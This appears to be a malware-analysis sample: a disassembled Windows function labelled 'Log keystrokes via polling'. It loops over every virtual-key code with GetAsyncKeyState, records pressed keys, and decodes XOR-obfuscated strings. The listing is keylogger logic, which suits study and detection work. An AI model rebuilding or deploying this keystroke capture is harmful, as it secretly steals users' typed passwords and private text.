Function at 0x14007c010
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov ecx, 4
mov rax, qword gs:[0x58]
mov rax, qword [rax]
movabs rdi, 0xc7b3f15465043e35
mov rbx, 0xffffffffffffffff
movabs r14, 0xfaafccd9074c4900
movabs r15, 0xc7b3f154006a517b
lea r12, [0x1401f9eb8]
mov eax, dword [rcx + rax]
cmp dword [0x1401f9e90], eax
jle 0x14007c14f
lea rcx, [0x1401f9e90]
call fcn.1401538d0
cmp dword [0x1401f9e90], ebx
jne 0x14007c14f
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x11], r14
lea r8, [rbp - 9]
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x17]
call fcn.14004d390
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x21], r14
mov qword [rbp - 0x41], r14
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 7]
call fcn.14004d390
mov qword [rbp - 0x59], rdi
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x51], r14
mov qword [rbp - 0x31], r14
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x37]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x59]
xorps xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 0x59], xmm0
xorps xmm0, xmm0
movups xmmword [0x1401f9eb8], xmm0
xorps xmm1, xmm1
movdqu xmmword [0x1401f9ec8], xmm1
lea rax, [rbp - 0x59]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14007c120
lea rdx, [rbp - 0x59]
mov rcx, r12
call fcn.140032010
lea rcx, [0x1401591d0]
call fcn.140153c8c
nop
lea rcx, [0x1401f9e90]
call fcn.140153864
mov rcx, r12
cmp qword [0x1401f9ed0], 0x10
cmovae rcx, qword [0x1401f9eb8]
call fcn.1400345a0
test al, al
je 0x14007c174
mov byte [0x1401f9888], 1
jmp 0x14007c181
cmp byte [0x1401f9888], 0
je 0x14007c24d
mov edi, 1
xor esi, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14007c1af
cmp edi, 0xc
je 0x14007c1af
mov eax, edi
cmp edi, 0x1b
cmove eax, esi
mov dword [0x1401f992c], eax
mov byte [0x1401f9888], sil
inc edi
cmp edi, 0x100
jl 0x14007c188
movabs rdi, 0xc7b3f15400447f55
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x31], r14
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x37]
call fcn.14004d390
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x21], r14
mov qword [rbp - 0x41], r14
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 7]
call fcn.14004d390
mov qword [rbp - 0x59], rdi
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x51], r14
mov qword [rbp - 0x11], r14
lea r8, [rbp - 9]
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x17]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x59]
xorps xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 0x59], xmm0
lea rax, [rbp - 0x59]
inc rbx
cmp byte [rax + rbx], sil
jne 0x14007c230
mov r8, rbx
lea rdx, [rbp - 0x59]
mov rcx, r12
call fcn.14003e510
jmp 0x14007c481
mov edx, dword [0x1401f992c]
test edx, edx
jne 0x14007c2ed
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x31], r14
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x37]
call fcn.14004d390
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x21], r14
mov qword [rbp - 0x41], r14
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 7]
call fcn.14004d390
mov qword [rbp - 0x59], rdi
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x51], r14
mov qword [rbp - 0x11], r14
lea r8, [rbp - 9]
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x17]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x59]
xorps xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 0x59], xmm0
lea rax, [rbp - 0x59]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14007c2d0
mov r8, rbx
lea rdx, [rbp - 0x59]
mov rcx, r12
call fcn.14003e510
jmp 0x14007c481
lea rcx, [rbp - 0x19]
call fcn.1400797f0
mov rbx, rax
mov qword [rbp - 0x39], r15
mov qword [rbp - 0x31], r14
lea r8, [rbp - 0x29]
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x37]
call fcn.14004d390
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x21], r14
mov qword [rbp - 0x41], r14
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 7]
call fcn.14004d390
mov qword [rbp - 0x59], r15
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x51], r14
mov qword [rbp - 0x41], r14
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 7]
call fcn.14004d390
movdqa xmm0, xmmword [rbp - 0x59]
xorps xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 0x59], xmm0
mov r8, rbx
lea rdx, [rbp - 0x59]
lea rcx, [rbp + 0x17]
call fcn.14003e7d0
mov rbx, rax
cmp r12, rax
je 0x14007c3f4
mov rdx, qword [0x1401f9ed0]
cmp rdx, 0x10
jb 0x14007c3b7
mov rcx, qword [0x1401f9eb8]
inc rdx
cmp rdx, 0x1000
jb 0x14007c3b2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007c426
mov rcx, r8
call fcn.140153cac
movdqa xmm0, xmmword [0x1401958e0]
movdqu xmmword [0x1401f9ec8], xmm0
mov byte [0x1401f9eb8], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x1401f9eb8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x1401f9ec8], xmm1
xor esi, esi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], sil
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0x10
jb 0x14007c432
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c42d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007c42d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
movdqa xmm0, xmmword [0x1401958e0]
movdqu xmmword [rbp + 0x27], xmm0
mov byte [rbp + 0x17], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x14007c481
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c47c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007c47c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140153cac
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret